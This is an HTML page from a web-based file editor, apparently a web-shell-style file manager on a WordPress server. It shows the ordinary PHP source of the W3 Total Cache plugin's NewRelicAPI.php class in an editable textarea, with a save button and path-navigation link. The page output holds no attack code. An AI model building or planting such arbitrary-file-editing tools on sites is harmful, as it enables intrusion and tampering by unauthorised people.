<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: NewRelicAPI.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
define('NEWRELIC_API_BASE', 'https://api.newrelic.com');

/**
 * Interacts with the New Relic Connect API
 * deprecated
 * @link newrelic.github.com/newrelic_api/
 */
class NewRelicAPI {
    private $_api_key;

    /**
     * @param string $api_key New Relic API Key
     */
    function __construct($api_key) {
        $this-&gt;_api_key = $api_key;
    }

    /**
     * @param string $api_call_url url path with query string used to define what to get from the NR API
     * @throws Exception
     * @return bool
     */
    private function _get($api_call_url) {
        $defaults = array(
            'headers'=&gt;'x-api-key:'.$this-&gt;_api_key
        );
        $url = NEWRELIC_API_BASE . $api_call_url;

        $response = wp_remote_get($url, $defaults);

        if (is_wp_error($response)) {
            throw new Exception('Could not get data');
        } elseif ($response['response']['code'] == 200) {
            $return = $response['body'];
        } else {
            switch ($response['response']['code']) {
                case '403':
                    $message = __('Invalid API key', 'w3-total-cache');
                    break;
                default:
                    $message = $response['response']['message'];
            }

            throw new Exception($message, $response['response']['code']);
        }
        return $return;
    }

    /**
     * @param string $api_call_url url path with query string used to define what to get from the NR API
     * @param array $params key value array.
     * @throws Exception
     * @return bool
     */
    private function _put($api_call_url, $params) {
        $defaults = array(
            'method' =&gt; 'PUT',
            'headers'=&gt;'x-api-key:'.$this-&gt;_api_key,
            'body' =&gt; $params
        );
        $url = NEWRELIC_API_BASE . $api_call_url;
        $response = wp_remote_request($url, $defaults);

        if (is_wp_error($response)) {
            throw new Exception('Could not put data');
        } elseif ($response['response']['code'] == 200) {
            $return = true;
        } else {
            throw new Exception($response['response']['message'], $response['response']['code']);
        }
        return $return;
    }

    /**
     * Get applications connected with the API key and provided account id.
     * @param int $account_id
     * @return array
     */
    function get_applications($account_id) {
        $applications = array();
        if ($xml_string  = $this-&gt;_get(&quot;/api/v1/accounts/{$account_id}/applications.xml&quot;)) {
            $xml = simplexml_load_string($xml_string);
            foreach($xml-&gt;application as $application) {
                $applications[(int)$application-&gt;id] = (string)$application-&gt;name;
            }
        }
        return $applications;
    }

    /**
     * Get the application summary data for the provided application
     * @param $application_id
     * @return array array(metric name =&gt; metric value)
     */
    function get_application_summary($account_id, $application_id) {
        $summary = array();

        if ($xml_string = $this-&gt;_get(&quot;/api/v1/accounts/{$account_id}/applications/{$application_id}/threshold_values.xml&quot;)) {
            $xml = simplexml_load_string($xml_string);
            foreach($xml-&gt;{'threshold_value'} as $value) {
                $summary[(string)$value['name']] = (string)$value['formatted_metric_value'];
            }
        }
        return $summary;
    }

    /**
     * Return key value array with information connected to account.
     * @return array|mixed|null
     */
    function get_account() {
        $account = null;
        if ($xml_string = $this-&gt;_get('/api/v1/accounts.xml')) {
            $xml = simplexml_load_string($xml_string);
            foreach($xml-&gt;account as $account_values) {
                $account=json_decode(json_encode((array) $account_values), 1);
                break;
            }
        }
        return $account;
    }

    /**
     * Get key value array with application settings
     * @param $application_id
     * @return array|mixed
     */
    function get_application_settings($account_id, $application_id) {
        $settings = array();
        if ($xml_string = $this-&gt;_get(&quot;/api/v1/accounts/{$account_id}/application_settings/{$application_id}.xml&quot;)) {
            $xml = simplexml_load_string($xml_string);
            $settings=json_decode(json_encode((array) $xml), 1);
        }
        return $settings;
    }

    /**
     * Update application settings. verifies the keys in provided settings array is acceptable
     * @param $application_id
     * @param $settings
     * @return bool
     */
    function update_application_settings($account_id, $application_id, $settings) {
        $supported = array('alerts_enabled', 'app_apdex_t','rum_apdex_t','rum_enabled');
        $call = &quot;/api/v1/accounts/{$account_id}/application_settings/{$application_id}.xml&quot;;
        $params = array();
        foreach($settings as $key =&gt; $value)  {
            if (in_array($key, $supported))
                $params[$key] = $value;
        }

        return $this-&gt;_put($call, $params);
    }

    /**
     * Returns the available metric names for provided application
     * @param $application_id
     * @param string $regex
     * @param string $limit
     * @return array|mixed
     */
    function get_metric_names($application_id, $regex = '', $limit = '') {
        $call = &quot;/api/v1/agents/{$application_id}/metrics.json&quot;;
        $callQS = '';
        $qs = array();
        if ($regex)
            $qs[] = 're=' . urlencode($regex);
        if ($limit)
            $qs[] = 'limit=' . $limit;
        if ($qs)
            $callQS = '?' . implode('&amp;', $qs);
        $json = $this-&gt;_get($call . $callQS);
        $metric_names=json_decode($json);
        return $metric_names;
    }

    /**
     * Gets the metric data for the provided metric names.
     * @param string $account_id
     * @param string $application_id
     * @param string $begin XML date in GMT
     * @param string $to XML date in GMT
     * @param array $metrics
     * @param string $field
     * @param bool $summary if values should be merged or overtime
     * @return array|mixed
     */
    function get_metric_data($account_id, $application_id, $begin, $to, $metrics, $field, $summary = true) {
        $metricParamArray = array();
        foreach($metrics as $metric) {
            $metricParamArray[] = 'metrics[]=' . urlencode($metric);
        }
        $metricQS = implode('&amp;', $metricParamArray);
        $fieldsQS = 'field=' . urlencode($field);
        $agentQS =  'agent_id=' . urlencode($application_id);
        $beginQS = 'begin=' . urlencode($begin);
        $toQS = 'end=' . urlencode($to);
        $summaryQS = $summary ? 'summary=1' : 'summary=0';
        $command = $beginQS . '&amp;' . $toQS . '&amp;' . $metricQS . '&amp;' . $fieldsQS . '&amp;' . $agentQS . '&amp;' . $summaryQS;

        $json = $this-&gt;_get(&quot;/api/v1/accounts/{$account_id}/metrics/data.json?{$command}&quot;);
        $metric_data=json_decode($json);

        return $metric_data;
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FNewRelic'>🔙 Back</a>